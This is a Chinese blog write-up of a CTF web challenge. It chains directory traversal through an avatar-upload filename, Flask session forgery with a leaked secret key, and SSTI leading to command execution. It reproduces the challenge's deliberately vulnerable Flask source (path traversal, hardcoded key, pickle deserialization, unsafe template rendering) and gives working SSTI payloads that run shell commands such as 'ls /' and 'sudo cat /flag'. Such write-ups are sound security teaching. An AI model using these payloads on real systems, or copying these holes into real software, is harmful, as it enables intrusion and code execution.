一道有趣的web题(目录穿越、session 伪造和 SSTI)

韬哥出的一道题,上课的时候没做出来,没想到目录穿越我还以为是文件上传(韬哥还是tql)

相关考点:目录穿越、session 伪造和 SSTI

第一部分(目录穿越)

观察到唯一可用的入口点位于个人信息,而上传文件的接口并没有实际上对文件类型进行过滤(选择上传文件时的窗口会有默认选项,但是可以进行修改)。同时,发现上传非图片文件后右侧原本显示的图片会无法显示,因此可以推定后端并没有进行文件类型的判断。尝试 fuzz 一些路径穿越的文件名(如 `../../../../../../../../etc/passwd` )后会发现图片的接口 `/showPhoto` 确实返回了这个文件内容,所以根据 flask 的项目结构爆破 `../app.py`,`../../app.py` 等路径后每次通过 `showPhoto` 接口进行检查,可以发现源码在 `../../app.py`,得到 flag1 和 flask 的 session key

from flask import *
import base64
import os
import requests
import pickle

app = Flask(__name__, static_url_path="/resources", static_folder="resources")
flag1 = 'flag{d2c4d1bb89a7d5386390f750bbdad8a7}'
# flag2 = os.environ.get("FLAG2")
app.secret_key = flag1

@app.route('/')
def idx():
    if 'username' not in session:
        session['username'] = 'defaulter'
    return render_template('index.html')

@app.route('/pubtzgg/<v>')
def iframe(v):
    if 'username' not in session:
        session['username'] = 'defaulter'
    return render_template('queryTzggByMxxs')

@app.route('/queryClass')
def page():
    if 'username' not in session:
        session['username'] = 'defaulter'
    return render_template('queryClass.html')

@app.route('/personalPage')
def info():
    if 'username' not in session:
        session['username'] = 'defaulter'
    return render_template('personalPage.html')

@app.route('/showPhoto', methods=['GET'])
def load_photo():
    if 'username' not in session:
        session['username'] = 'defaulter'
    uname = session['username']
    fd = open('./private/db/list.txt', 'r')
    db = fd.readlines()
    fd.close()
    filename = 'missing.png'
    for line in db:
        if uname in line:
            filename = line.split(uname)[1][1:].strip()
    
    return send_file('./private/avatar/'+filename, mimetype='image/png')

@app.route('/updatePhoto', methods=['POST'])
def send_photo():
    if 'username' not in session:
        session['username'] = 'defaulter'
        return redirect('/')
    uname = session['username']
    p = request.files['new']
    new_name = p.filename
    fd = open('./private/db/list.txt', 'r')
    db = fd.readlines()
    fd.close()
    for idx in range(len(db)):
        line = db[idx]
        if uname in line:
            filename = line.split(uname)[1][1:].strip()
            db[idx] = f'{uname}:{new_name}'
    fd = open('./private/db/list.txt', 'w')
    fd.writelines(db)
    fd.close()
    basepath = os.path.dirname(__file__)
    o_img_path = os.path.join(basepath, "private/avatar", new_name)
    p.save(o_img_path)
    return render_template('personalPage.html')

@app.route('/interestingAdmin')
def dashboard():
    if 'username' in session and session['username'] == 'admin':
        session['username'] = 'admin'
        r = requests.get('http://127.0.0.1:8889/api').text
        print(r)
        c,n,s,p = pickle.loads(base64.b64decode(r))
        template = f'''<tr class="qinfo">
                        <td width="400">
                            {{{{ "{c.strip()}" }}}}
                        </td>
                        <td width="400">
                            {{{{ "{n.strip()}" }}}}
                        </td>
                        <td width="400">
                            {{{{ "{s.strip()}" }}}}
                        </td>
                        <td width="400">
                            {{{{ "{p.strip()}" }}}}
                        </td>
                    </tr>
                '''
        insertion = render_template_string(template)
        return render_template('admin.html', insertion = insertion)
    return redirect('/')

@app.post('/adminUpdateDB')
def upd():
    if 'username' in session and session['username'] == 'admin':
        c,n,s,p = request.form['code'].strip(), request.form['name'].strip(), request.form['score'].strip(), request.form['period'].strip()
        if not c.isdigit() or not s.isdigit() or not p.isdigit():
            return '请检查输入是否正确!'
        d = pickle.dumps([c,n,s,p])
        pl = base64.b64encode(d)
        requests.post('http://127.0.0.1:8889/api', data={'payload':pl})
    return redirect('/interestingAdmin')

@app.errorhandler(403)
def forbidden(e):
    return render_template('403.html'), 403

@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404

@app.errorhandler(500)
def page_not_found(e):
    return render_template('500.html'), 500

if __name__ == '__main__':
    app.run('0.0.0.0', port=8888, debug=False)

第二部分(session伪造)

flask-unsign安装下载以及用法:

Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. (github.com)

得到 session key 和 app.py 中的隐藏路由后可以通过 flask-unsign 伪造 session 正常使用 `/interestingAdmin` 的后台接口。

第三部分(SSTI)

通过源码得知此处每个字段在后端的模板字符串都是类似 `f'{{"{key}"}}'` 的格式,需要在前后分别添加一个双引号进行逃逸。测试输入 `"+(7*7).__str__()+"`,发现这里的双引号成功逃逸了,完成 SSTI,因此更改 payload 即可进行 RCE,拿到 flag2。

"+x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")+"

"+x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('sudo cat /flag').read()")+"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值